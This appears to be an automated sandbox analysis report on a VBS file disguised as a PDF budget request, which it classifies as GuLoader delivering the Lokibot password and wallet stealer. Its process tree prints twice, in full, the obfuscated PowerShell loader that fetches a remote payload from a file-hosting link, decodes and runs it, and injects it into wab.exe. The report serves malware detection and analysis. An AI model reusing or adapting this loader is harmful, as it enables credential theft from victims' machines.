Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-09-2024 13:08

General

  • Target

    BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs

  • Size

    31KB

  • MD5

    c75e9e87a0ce94268b6978556529a26a

  • SHA1

    1afa71ddb65ad3e4950a41908ebf757f69927ae4

  • SHA256

    be119bc4fa6bf774a3d85000d4f9cf1b7835c4bacff224248ae8b8fd6c7c98fc

  • SHA512

    0087243cda3b48b3ba5c59678ee1d6dea5e5513769d81ab3a72696cc2305f267d6b5a7485dcd09d0f57914defd7a1f7d43bdfbf13a74c47384af07c9f95018d6

  • SSDEEP

    384:1k3y65Wh/w0/P8tQJnTPGQ+m6+YlCMKoXKJmPnzdI91:1uy65mfBnyzpIMKoXKMPnzQ1

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Network Service Discovery 1 TTPs 2 IoCs

    Attempt to gather information on host's network.

  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Network Service Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1328
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"
        3⤵
          PID:2884
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Network Service Discovery
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3424
          • C:\Program Files (x86)\windows mail\wab.exe
            "C:\Program Files (x86)\windows mail\wab.exe"
            4⤵
              PID:2500
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Accesses Microsoft Outlook profiles
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • outlook_office_path
              • outlook_win_path
              PID:3788

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clse1n1r.bbq.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a

        Filesize

        46B

        MD5

        c07225d4e7d01d31042965f048728a0a

        SHA1

        69d70b340fd9f44c89adb9a2278df84faa9906b7

        SHA256

        8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

        SHA512

        23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a

        Filesize

        46B

        MD5

        d898504a722bff1524134c6ab6a5eaa5

        SHA1

        e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

        SHA256

        878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

        SHA512

        26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

      • C:\Users\Admin\AppData\Roaming\Sjaelelivets.Son

        Filesize

        465KB

        MD5

        d952477f892ae0e25f9facc609554a0d

        SHA1

        617591cade5b3efd2906e8ce468e7cf7d88f7539

        SHA256

        f36ff78fac53b01ed65ec3678ee315acb92a630521c94da29a3cc57fe61520ba

        SHA512

        2f755f0c4e8bab2310b3573ea0c84a18cf1baed9e37af96105b59648bf7639506bd5323b225f22e9d871bac2bd54837ec37b04d714d373106b1575f261d671d8

      • memory/1328-2-0x00007FFDDA093000-0x00007FFDDA095000-memory.dmp

        Filesize

        8KB

      • memory/1328-12-0x000001B5EC520000-0x000001B5EC542000-memory.dmp

        Filesize

        136KB

      • memory/1328-13-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

        Filesize

        10.8MB

      • memory/1328-14-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

        Filesize

        10.8MB

      • memory/1328-16-0x00007FFDDA093000-0x00007FFDDA095000-memory.dmp

        Filesize

        8KB

      • memory/1328-17-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

        Filesize

        10.8MB

      • memory/1328-60-0x00007FFDDA090000-0x00007FFDDAB51000-memory.dmp

        Filesize

        10.8MB

      • memory/2604-33-0x0000000006330000-0x0000000006684000-memory.dmp

        Filesize

        3.3MB

      • memory/2604-39-0x0000000007B40000-0x0000000007B62000-memory.dmp

        Filesize

        136KB

      • memory/2604-34-0x0000000006930000-0x000000000694E000-memory.dmp

        Filesize

        120KB

      • memory/2604-35-0x0000000006960000-0x00000000069AC000-memory.dmp

        Filesize

        304KB

      • memory/2604-36-0x00000000082C0000-0x000000000893A000-memory.dmp

        Filesize

        6.5MB

      • memory/2604-37-0x0000000006EA0000-0x0000000006EBA000-memory.dmp

        Filesize

        104KB

      • memory/2604-38-0x0000000007C40000-0x0000000007CD6000-memory.dmp

        Filesize

        600KB

      • memory/2604-23-0x0000000006200000-0x0000000006266000-memory.dmp

        Filesize

        408KB

      • memory/2604-40-0x0000000008940000-0x0000000008EE4000-memory.dmp

        Filesize

        5.6MB

      • memory/2604-22-0x0000000005AF0000-0x0000000005B56000-memory.dmp

        Filesize

        408KB

      • memory/2604-42-0x0000000008EF0000-0x000000000C612000-memory.dmp

        Filesize

        55.1MB

      • memory/2604-19-0x0000000003000000-0x0000000003036000-memory.dmp

        Filesize

        216KB

      • memory/2604-20-0x0000000005BD0000-0x00000000061F8000-memory.dmp

        Filesize

        6.2MB

      • memory/2604-21-0x0000000005A50000-0x0000000005A72000-memory.dmp

        Filesize

        136KB

      • memory/3788-57-0x0000000000900000-0x0000000004022000-memory.dmp

        Filesize

        55.1MB

      • memory/3788-44-0x0000000000400000-0x00000000005E4000-memory.dmp

        Filesize

        1.9MB